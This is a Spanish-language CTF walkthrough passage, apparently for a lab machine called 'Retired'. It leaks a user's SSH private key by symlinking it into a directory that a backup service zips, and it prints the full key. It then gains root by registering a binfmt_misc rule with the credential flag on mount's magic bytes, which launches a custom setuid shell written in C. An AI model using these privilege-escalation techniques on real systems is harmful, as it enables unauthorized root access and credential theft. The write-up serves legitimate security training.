Fri 2023-06-23 17:50:00 UTC 33s left      Fri 2023-06-23 17:49:01 UTC 25s ago              website_backup.timer         website_backup.service
Fri 2023-06-23 17:55:52 UTC 6min left     n/a                         n/a                  systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service  
Fri 2023-06-23 17:58:44 UTC 9min left     Fri 2022-03-11 11:13:00 UTC 1 years 3 months ago apt-daily-upgrade.timer      apt-daily-upgrade.service
Fri 2023-06-23 18:04:41 UTC 15min left    Mon 2022-03-28 11:12:56 UTC 1 years 2 months ago fstrim.timer                 fstrim.service
Fri 2023-06-23 18:09:00 UTC 19min left    Fri 2023-06-23 17:40:57 UTC 8min ago             phpsessionclean.timer        phpsessionclean.service
Fri 2023-06-23 23:45:31 UTC 5h 56min left Fri 2022-03-11 15:32:28 UTC 1 years 3 months ago apt-daily.timer              apt-daily.service
Sat 2023-06-24 00:00:00 UTC 6h left       Fri 2023-06-23 17:40:57 UTC 8min ago             logrotate.timer              logrotate.service
Sat 2023-06-24 00:00:00 UTC 6h left       Fri 2023-06-23 17:40:57 UTC 8min ago             man-db.timer                 man-db.service
Sun 2023-06-25 03:10:46 UTC 1 day 9h left Fri 2023-06-23 17:41:27 UTC 7min ago             e2scrub_all.timer            e2scrub_all.service
www-data@retired:~$

Al mirar la config del servicio encontramos que ejecuta el binario /usr/bin/webbackup usando el usuario dev y el grupo www-data

www-data@retired:~$ find / -name website_backup.service 2>/dev/null  
/etc/systemd/system/website_backup.service
www-data@retired:~$ cat /etc/systemd/system/website_backup.service
[Unit]
Description=Backup and rotate website

[Service]
User=dev
Group=www-data
ExecStart=/usr/bin/webbackup

[Install]
WantedBy=multi-user.target
www-data@retired:~$

Resumiendo la funcion de webbackup vemos que en el directorio /var/www crea un backup de todo el directorio /var/www/html usando como nombre la fecha y hora

www-data@retired:~$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail

cd /var/www/

SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"

/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"

KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \  
    | sort --zero-terminated --numeric-sort --reverse \
    | while IFS= read -r -d '' backup; do
        if [ "$KEEP" -le 0 ]; then
            /usr/bin/rm --force -- "$backup"
        fi
        KEEP="$((KEEP-1))"
    done
www-data@retired:~$

Podemos aprovechar que la tarea se ejecuta como el usuario dev para crear un enlace simbolico de su clave ssh privada dentro del directorio html

www-data@retired:~/html$ ln -s /home/dev/.ssh/id_rsa id_rsa  
www-data@retired:~/html$

Esperamos que se ejecute la tarea y cuando cree un nuevo zip lo copiamos un directorio como /tmp ya que despues de un rato este se borra

www-data@retired:~$ ls -l
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:49 2023-06-23_17-49-01-html.zip  
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:50 2023-06-23_17-50-01-html.zip  
-rw-r--r-- 1 dev      www-data 505153 Jun 23 17:51 2023-06-23_17-51-07-html.zip  
-rw-r--r-- 1 dev      www-data 507284 Jun 23 17:52 2023-06-23_17-52-01-html.zip  
drwxrwsrwx 5 www-data www-data   4096 Jun 23 17:51 html
-rw-r--r-- 1 www-data www-data  12288 Jun 23 17:48 license.sqlite
www-data@retired:~$ cp 2023-06-23_17-52-01-html.zip /tmp
www-data@retired:~$

Ahora lo descomprimimos y en el podemos ver existente el archivo id_rsa de antes

www-data@retired:/tmp$ unzip 2023-06-23_17-52-01-html.zip  
Archive:  2023-06-23_17-52-01-html.zip
   creating: var/www/html/
   creating: var/www/html/js/
  inflating: var/www/html/js/scripts.js  
  inflating: var/www/html/activate_license.php  
   creating: var/www/html/assets/
  inflating: var/www/html/assets/favicon.ico  
   creating: var/www/html/assets/img/
  inflating: var/www/html/assets/img/close-icon.svg  
  inflating: var/www/html/assets/img/navbar-logo.svg  
   creating: var/www/html/assets/img/about/
  inflating: var/www/html/assets/img/about/2.jpg  
  inflating: var/www/html/assets/img/about/4.jpg  
  inflating: var/www/html/assets/img/about/3.jpg  
  inflating: var/www/html/assets/img/about/1.jpg  
   creating: var/www/html/assets/img/logos/
  inflating: var/www/html/assets/img/logos/facebook.svg  
  inflating: var/www/html/assets/img/logos/microsoft.svg  
  inflating: var/www/html/assets/img/logos/google.svg  
  inflating: var/www/html/assets/img/logos/ibm.svg  
   creating: var/www/html/assets/img/team/
  inflating: var/www/html/assets/img/team/2.jpg  
  inflating: var/www/html/assets/img/team/3.jpg  
  inflating: var/www/html/assets/img/team/1.jpg  
  inflating: var/www/html/assets/img/header-bg.jpg  
  inflating: var/www/html/beta.html  
  inflating: var/www/html/default.html  
  inflating: var/www/html/index.php  
  inflating: var/www/html/id_rsa     
   creating: var/www/html/css/
  inflating: var/www/html/css/styles.css  
www-data@retired:/tmp$

Al leer el archivo id_rsa encontramos la clave privada del usuario dev ya que al comprimir el directorio html tomaba el enlace simbolico para leerla

www-data@retired:/tmp/var/www/html$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA58qqrW05/urHKCqCgcIPhGka60Y+nQcngHS6IvG44gcb3w0HN/yf
db6Nzw5wfLeLD4uDt8k9M7RPgkdnIRwdNFxleNHuHWmK0j7OOQ0rUsrs8LudOdkHGu0qQr
AnCIpK3Gb74zh6pe03zHVcZyLR2tXWmoXqRF8gE2hsry/AECZRSfaYRhac6lASRZD74bQb
xOeSuNyMfCsbJ/xKvlupiMKcbD+7RHysCSM6xkgBoJ+rraSpYTiXs/vihkp6pN2jMRa/ee
ADRNWoyqU7LVsKwhZ//AxKjJSvDSnaUeIDaKZ6e4XYsOKTXX3Trh7u9Bjv2YFD8DRDEmDI
5d+t6Imws8370a/5Z2z7C7jfCpzDATek0NIqLi3jEmI/8vLO9xIckjaNVoqw/BVKNqjd03
KKK2Y0c5DRArFmwkJdmbGxwzyTV8oQZdjw0mVBFjbdQ0iiQBEFGNP9/zpT//ewaosZYROE
4FHXNEIq23Z3SxUNyUeLqkI8Mlf0McBmvc/ozGR5AAAFgKXd9Tyl3fU8AAAAB3NzaC1yc2
EAAAGBAOfKqq1tOf7qxygqgoHCD4RpGutGPp0HJ4B0uiLxuOIHG98NBzf8n3W+jc8OcHy3
iw+Lg7fJPTO0T4JHZyEcHTRcZXjR7h1pitI+zjkNK1LK7PC7nTnZBxrtKkKwJwiKStxm++
M4eqXtN8x1XGci0drV1pqF6kRfIBNobK8vwBAmUUn2mEYWnOpQEkWQ++G0G8TnkrjcjHwr
Gyf8Sr5bqYjCnGw/u0R8rAkjOsZIAaCfq62kqWE4l7P74oZKeqTdozEWv3ngA0TVqMqlOy
1bCsIWf/wMSoyUrw0p2lHiA2imenuF2LDik119064e7vQY79mBQ/A0QxJgyOXfreiJsLPN
+9Gv+Wds+wu43wqcwwE3pNDSKi4t4xJiP/LyzvcSHJI2jVaKsPwVSjao3dNyiitmNHOQ0Q
KxZsJCXZmxscM8k1fKEGXY8NJlQRY23UNIokARBRjT/f86U//3sGqLGWEThOBR1zRCKtt2
d0sVDclHi6pCPDJX9DHAZr3P6MxkeQAAAAMBAAEAAAGAEOqioDubgvZBiLXphmzSUxiUpV
0gDrfJ8z8RoqE/nAdmylWaFET0olRA5z6niQKgPIczGsOuGsrrDpgFd84kd4DSywmPNkhQ
oF2DEXjbk5RJzJv0spcbRKTQc8OFZcMqCYHemkux79ArRVm/X6uT40O+ANMLMOg8YA47+G
EkxEj3n81Geb8GvrcPTlJxf5x0dl9sPt+hxSIkPjvUfKYV7mw9nEzebvYmXBhdHsF8lOty
TR76WaUWtUUJ2EExSD0Am3DQMq4sgLT9tb+rlU7DoHtoSPX6CfdInH9ciRnLG1kVbDaEaa
NT2anONVOswKJWVYgUN83cCCPyRzQJLPC6u7uSdhXU9sGuN34m5wQYp3wFiRnIdKgTcnI8
IoVRX0rnTtBUWeiduhdi2XbYh5OFFjh77tWCi9eTR7wopwUGR0u5sbDZYGPlOWNk22+Ncw
qQMIq0f4TBegkOUNV85gyEkIwifjgvfdw5FJ4zhoVbbevgo7IVz3gIYfDjktTF+n9dAAAA
wDyIzLbm4JWNgNhrc7Ey8wnDEUAQFrtdWMS/UyZY8lpwj0uVw8wdXiV8rFFPZezpyio9nr
xybImQU+QgCBdqQSavk4OJetk29fk7X7TWmKw5dwLuEDbJZo8X/MozmhgOR9nhMrBXR2g/
yJuCfKA0rcKby+3TSbl/uCk8hIPUDT+BNYyR5yBggI7+DKQBvHa8eTdvqGRnJ9jUnP6tfB
KCKW97HIfCpt5tzoKiJ7/eAuGEjjHN28GP1u4iVoD0udnUHQAAAMEA+RceJG5scCzciPd9
7zsHHTpQNhKQs13qfgQ9UGbyCit+eWzc/bplfm5ljfw+cFntZULdkhiFCIosHPLxmYe8r0
FZUzTqOeDCVK9AZjn8uy8VaFCWb4jvB+oZ3d+pjFKXIVWpl0ulnpOOoHHIoM7ghudXb0vF
L8+QpuPCuHrb2N9JVLxHrTyZh3+v9Pg/R6Za5RCCT36R+W6es8Exoc9itANuoLudiUtZif
84JIKNaGGi6HGdAqHaxBmEn7N/XDu7AAAAwQDuOLR38jHklS+pmYsXyLjOSPUlZI7EAGlC
xW5PH/X1MNBfBDyB+7qjFFx0tTsfVRboJvhiYtRbg/NgfBpnNH8LpswL0agdZyGw3Np4w8
aQSXt9vNnIW2hDwX9fIFGKaz58FYweCXzLwgRVGBfnpq2QSXB0iXtLCNkWbAS9DM3esjsA
1JCCYKFMrvXeeshyxnKmXix+3qeoh8TTQvr7ZathE5BQrYXvfRwZJQcgh8yv71pNT3Gpia  
7rTyG3wbNka1sAAAALZGV2QHJldGlyZWQ=
-----END OPENSSH PRIVATE KEY-----
www-data@retired:/tmp/var/www/html$

Podemos simplemente usar la id_rsa para conectarnos por ssh a la maquina sin contraseña, al hacerlo nos convertimos en dev y podemos leer la primera flag

❯ ssh dev@10.10.11.154 -i id_rsa
dev@retired:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev),33(www-data)  
dev@retired:~$ hostname -I
10.10.11.154
dev@retired:~$ cat user.txt 
f3c**************************924
dev@retired:~$


Shell - root


Mirando los archivos existentes encontramos los directorios activate_license y emuemu, actualmente activate_license lo hemos explotado asi que lo omitiremos

dev@retired:~$ ls
activate_license  emuemu  user.txt  
dev@retired:~$

En el directorio emuemu encontramos varios archivos, entre ellos algunos en C

dev@retired:~/emuemu$ ls
Makefile  README.md  emuemu  emuemu.c  reg_helper  reg_helper.c  test  
dev@retired:~/emuemu$

Si miramos lo que hace emuemu con el codigo de emuemu.c no hace nada realmente interesante, solo usa puts para mostrar un mensaje y sale con un codigo 1

dev@retired:~/emuemu$ cat emuemu.c 
#include <stdio.h>

/* currently this is only a dummy implementation doing nothing */  

int main(void) {
    puts("EMUEMU is still under development.");
    return 1;
}
dev@retired:~/emuemu$

reg_helper toma un input y escribe en el archivo register de binfmt_misc

dev@retired:~/emuemu$ cat reg_helper.c 
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    char cmd[512] = { 0 };

    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;

    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);  
    if (-1 == fd)
        perror("open");
    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)
        perror("write");
    if (close(fd) == -1)
        perror("close");

    return 0;
}
dev@retired:~/emuemu$

Lo interesante esta en el archivo Makefile, analizemoslo poco a poco, primero setea una capability cap_dac_override=ep al binario reg_helper de emuemu

dev@retired:~/emuemu$ cat Makefile 
CC := gcc
CFLAGS := -std=c99 -Wall -Werror -Wextra -Wpedantic -Wconversion -Wsign-conversion  

SOURCES := $(wildcard *.c)
TARGETS := $(SOURCES:.c=)

.PHONY: install clean

install: $(TARGETS)
	@echo "[+] Installing program files"
	install --mode 0755 emuemu /usr/bin/
	mkdir --parent --mode 0755 /usr/lib/emuemu /usr/lib/binfmt.d
	install --mode 0750 --group dev reg_helper /usr/lib/emuemu/
	setcap cap_dac_override=ep /usr/lib/emuemu/reg_helper

	@echo "[+] Register OSTRICH ROMs for execution with EMUEMU"
	echo ':EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:' \
		| tee /usr/lib/binfmt.d/emuemu.conf \
		| /usr/lib/emuemu/reg_helper

clean:
	rm -f -- $(TARGETS)
dev@retired:~/emuemu$

Esto podemos comprobarlo usando getcap sobre el binario reg_helper indicado

dev@retired:~$ /sbin/getcap /usr/lib/emuemu/reg_helper  
/usr/lib/emuemu/reg_helper cap_dac_override=ep
dev@retired:~$

Ademas de ello hace un echo de una cadena la cual esta separada por : y hace un tee sobre emuemu.conf para escribir el output del echo en este archivo

dev@retired:~$ cat /usr/lib/binfmt.d/emuemu.conf
:EMUEMU:M::\x13\x37OSTRICH\x00ROM\x00::/usr/bin/emuemu:  
dev@retired:~$

Leyendo un poco de documentacion encontramos lo que significa cada serparacion

:name:type:offset:magic:mask:interpreter:flags  

El Makefile tambien toma el output del echo para pasarselo como input a reg_helper el cual crea un archivo de configuración con el nombre, en el podemos ver los valores de las separaciones como el interprete y los magicbytes

dev@retired:~$ cat /proc/sys/fs/binfmt_misc/EMUEMU  
enabled
interpreter /usr/bin/emuemu
flags: 
offset 0
magic 13374f53545249434800524f4d00
dev@retired:~$

Cuando ejecutemos un binario correspondiente a los magicbyte especificados este usara el interprete que en este caso es el binario emuemu para ejecutarlo

Mirando las flags en la documentacion podemos ver la flag C que sirve para tomar las credenciales del binario al que pertenecen los magicbytes y no del inteprete

Lo que podemos hacer es tomar los magicbytes de un binario suid y obligar que el interprete sea un binario personalizado que nos otorge una shell, para ello primero necesitamos un binario suid cualquiera, podemos usar simplemente mount

dev@retired:~$ find / -perm -u+s 2>/dev/null  
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
dev@retired:~$

Ahora usando xxd para convertirlo a hexadecimal y utilizando expresiones regulares podemos obtener los magicbytes pertenecientes al binario mount

dev@retired:~$ cat /usr/bin/mount | xxd -ps | head -n1 | sed 's/\(..\)/\\x\1/g'
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x40\x62\x00\x00\x00\x00  
dev@retired:~$

Ahora registramos una nueva regla con el nombre pwned usando los magicbytes de mount ademas de la flag C, como interprete indicaremos a /tmp/shell

dev@retired:~$ echo ':pwned:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x40\x62\x00\x00\x00\x00::/tmp/shell:C' | /usr/lib/emuemu/reg_helper  
dev@retired:~$

La configuración indica que cuando se detecte la ejecucion de un binariocon los magicbytes de mount este tomara como interprete el binario /tmp/shell

dev@retired:~$ cat /proc/sys/fs/binfmt_misc/pwned 
enabled
interpreter /tmp/shell
flags: OC
offset 0
magic 7f454c4602010100000000000000000003003e0001000000406200000000  
dev@retired:~$

Ahora solo falta crear el binario shell, para ello con un programa en C creamos un compilado que setee nuestro uid a 0 y nos lanze una bash interactiva

dev@retired:/tmp$ cat shell.c
#include <stdlib.h>
#include <unistd.h>

int main() {
    setreuid(0, 0);
    setregid(0, 0);
    system("/bin/bash");
    return 0;
}
dev@retired:/tmp$ gcc shell.c -o shell  
dev@retired:/tmp$

Finalmente ejecutamos el binario mount y al comparar los magicbytes y ser iguales este tomara como interprete shell que nos dara una bash con el uid 0 de root

dev@retired:~$ mount
root@retired:~# id
uid=0(root) gid=0(root) groups=0(root)
root@retired:~# hostname -I
10.10.11.154
root@retired:~# cat /root/root.txt 
3b4**************************00e
root@retired:~#